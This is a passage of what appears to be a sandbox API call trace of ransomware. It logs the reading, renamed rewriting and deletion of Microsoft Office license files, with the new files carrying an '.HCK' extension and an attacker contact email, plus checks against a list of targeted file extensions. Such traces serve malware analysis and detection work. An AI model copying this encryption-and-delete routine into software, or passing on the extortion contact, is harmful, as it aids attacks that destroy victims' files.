0xffffffff [0242.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.081] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.081] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.082] GetLastError () returned 0x0 [0242.082] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d47, lpOverlapped=0x0) returned 1 [0242.084] WriteFile (in: hFile=0x340, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0242.084] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.084] WriteFile (in: hFile=0x340, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10c, lpOverlapped=0x0) returned 1 [0242.085] SetEndOfFile (hFile=0x340) returned 1 [0242.085] CloseHandle (hObject=0x340) returned 1 [0242.085] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.085] SetEndOfFile (hFile=0x544) returned 1 [0242.087] CloseHandle (hObject=0x544) returned 1 [0242.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest-ul-oob.xrm-ms")) returned 1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString=".doc") returned 4 [0242.088] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString=".docx") returned 5 [0242.088] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.088] lstrlenW (lpString=".pdf") returned 4 [0242.088] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString=".xls") returned 4 [0242.088] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString=".xlsx") returned 5 [0242.088] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.088] lstrlenW (lpString=".ppt") returned 4 [0242.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString=".zip") returned 4 [0242.088] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString=".rar") returned 4 [0242.088] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString=".bz2") returned 4 [0242.088] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString=".7z") returned 3 [0242.088] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString=".dbf") returned 4 [0242.088] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString=".1cd") returned 4 [0242.088] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString=".jpg") returned 4 [0242.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.088] lstrlenW (lpString=".doc") returned 4 [0242.089] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString=".docx") returned 5 [0242.089] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.089] lstrlenW (lpString=".pdf") returned 4 [0242.089] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString=".xls") returned 4 [0242.089] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString=".xlsx") returned 5 [0242.089] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.089] lstrlenW (lpString=".ppt") returned 4 [0242.089] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.089] lstrlenW (lpString=".zip") returned 4 [0242.089] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString=".rar") returned 4 [0242.089] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString=".bz2") returned 4 [0242.089] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString=".7z") returned 3 [0242.089] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.089] lstrlenW (lpString=".dbf") returned 4 [0242.089] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.089] lstrlenW (lpString=".1cd") returned 4 [0242.089] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest-ul-oob.xrm-ms") returned 78 [0242.089] lstrlenW (lpString=".jpg") returned 4 [0242.089] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.089] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.089] lstrlenW (lpString="MondoR_SubTest2-pl.xrm-ms") returned 25 [0242.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.090] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11151) returned 1 [0242.090] CloseHandle (hObject=0x544) returned 1 [0242.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 0x220 [0242.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.091] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.091] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.294] GetLastError () returned 0x0 [0242.294] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2b8f, lpOverlapped=0x0) returned 1 [0242.297] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0242.298] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.298] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x106, lpOverlapped=0x0) returned 1 [0242.298] SetEndOfFile (hFile=0x548) returned 1 [0242.298] CloseHandle (hObject=0x548) returned 1 [0242.298] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.298] SetEndOfFile (hFile=0x544) returned 1 [0242.301] CloseHandle (hObject=0x544) returned 1 [0242.301] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-pl.xrm-ms")) returned 1 [0242.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.308] lstrlenW (lpString=".doc") returned 4 [0242.308] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString=".docx") returned 5 [0242.308] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.308] lstrlenW (lpString=".pdf") returned 4 [0242.308] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString=".xls") returned 4 [0242.308] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString=".xlsx") returned 5 [0242.308] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.308] lstrlenW (lpString=".ppt") returned 4 [0242.308] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.308] lstrlenW (lpString=".zip") returned 4 [0242.308] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString=".rar") returned 4 [0242.308] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString=".bz2") returned 4 [0242.308] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.308] lstrlenW (lpString=".7z") returned 3 [0242.308] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.308] lstrlenW (lpString=".dbf") returned 4 [0242.308] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString=".1cd") returned 4 [0242.309] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString=".jpg") returned 4 [0242.309] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString=".doc") returned 4 [0242.309] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString=".docx") returned 5 [0242.309] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.309] lstrlenW (lpString=".pdf") returned 4 [0242.309] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString=".xls") returned 4 [0242.309] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString=".xlsx") returned 5 [0242.309] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.309] lstrlenW (lpString=".ppt") returned 4 [0242.309] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString=".zip") returned 4 [0242.309] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString=".rar") returned 4 [0242.309] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString=".bz2") returned 4 [0242.309] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString=".7z") returned 3 [0242.309] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString=".dbf") returned 4 [0242.309] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.309] lstrlenW (lpString=".1cd") returned 4 [0242.309] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-pl.xrm-ms") returned 75 [0242.310] lstrlenW (lpString=".jpg") returned 4 [0242.310] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.310] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.310] lstrlenW (lpString="MondoR_SubTest2-ul-oob.xrm-ms") returned 29 [0242.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.311] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11595) returned 1 [0242.312] CloseHandle (hObject=0x544) returned 1 [0242.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 0x220 [0242.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.313] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.313] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0242.314] GetLastError () returned 0x0 [0242.314] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x2d4b, lpOverlapped=0x0) returned 1 [0242.316] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0242.317] ReadFile (in: hFile=0x544, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0242.317] WriteFile (in: hFile=0x548, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0242.317] SetEndOfFile (hFile=0x548) returned 1 [0242.318] CloseHandle (hObject=0x548) returned 1 [0242.318] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0242.318] SetEndOfFile (hFile=0x544) returned 1 [0242.321] CloseHandle (hObject=0x544) returned 1 [0242.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.322] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtest2-ul-oob.xrm-ms")) returned 1 [0242.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.322] lstrlenW (lpString=".doc") returned 4 [0242.323] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".docx") returned 5 [0242.323] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.323] lstrlenW (lpString=".pdf") returned 4 [0242.323] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".xls") returned 4 [0242.323] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".xlsx") returned 5 [0242.323] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.323] lstrlenW (lpString=".ppt") returned 4 [0242.323] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString=".zip") returned 4 [0242.323] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".rar") returned 4 [0242.323] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".bz2") returned 4 [0242.323] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".7z") returned 3 [0242.323] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString=".dbf") returned 4 [0242.323] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString=".1cd") returned 4 [0242.323] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString=".jpg") returned 4 [0242.323] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString=".doc") returned 4 [0242.323] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".docx") returned 5 [0242.323] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.323] lstrlenW (lpString=".pdf") returned 4 [0242.323] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".xls") returned 4 [0242.323] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".xlsx") returned 5 [0242.323] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.323] lstrlenW (lpString=".ppt") returned 4 [0242.323] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.323] lstrlenW (lpString=".zip") returned 4 [0242.323] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".rar") returned 4 [0242.323] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".bz2") returned 4 [0242.323] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.323] lstrlenW (lpString=".7z") returned 3 [0242.323] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.324] lstrlenW (lpString=".dbf") returned 4 [0242.324] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.324] lstrlenW (lpString=".1cd") returned 4 [0242.324] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTest2-ul-oob.xrm-ms") returned 79 [0242.324] lstrlenW (lpString=".jpg") returned 4 [0242.324] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.324] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.324] lstrlenW (lpString="MondoR_SubTrial-pl.xrm-ms") returned 25 [0242.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0242.325] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11151) returned 1 [0242.325] CloseHandle (hObject=0x544) returned 1 [0242.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft 